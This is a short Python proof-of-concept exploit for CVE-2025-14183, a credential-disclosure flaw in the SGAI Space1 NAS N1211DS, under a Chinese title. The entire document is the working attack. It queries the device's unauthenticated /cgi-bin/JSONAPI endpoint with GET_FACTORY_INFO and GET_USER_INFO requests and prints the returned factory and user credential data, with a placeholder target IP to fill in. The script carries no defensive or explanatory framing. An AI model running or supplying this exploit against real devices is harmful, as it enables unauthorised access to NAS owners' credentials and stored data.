CVE-2025-14183 SGAI Space1 NAS N1211DS 凭证泄露漏洞

import requests # CVE-2025-14183 PoC - SGAI Space1 NAS Credential Disclosure # Target: SGAI Space1 NAS N1211DS # Vulnerability: Unprotected storage of credentials in /cgi-bin/JSONAPI target_ip = "192.168.1.100" # Replace with target IP target_port = 80 def exploit_credential_disclosure(): """Exploit CVE-2025-14183 to retrieve credentials""" # Get Factory Info factory_url = f"http://{target_ip}:{target_port}/cgi-bin/JSONAPI" factory_params = { "function": "GET_FACTORY_INFO" } # Get User Info user_params = { "function": "GET_USER_INFO" } print("[*] Exploiting CVE-2025-14183...") print(f"[*] Target: {target_ip}:{target_port}") try: # Request factory information print("[*] Requesting factory information...") factory_response = requests.get(factory_url, params=factory_params, timeout=10) print(f"[+] Factory Info Response: {factory_response.text}") # Request user information print("[*] Requesting user information...") user_response = requests.get(factory_url, params=user_params, timeout=10) print(f"[+] User Info Response: {user_response.text}") return factory_response.json(), user_response.json() except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None, None if __name__ == "__main__": exploit_credential_disclosure()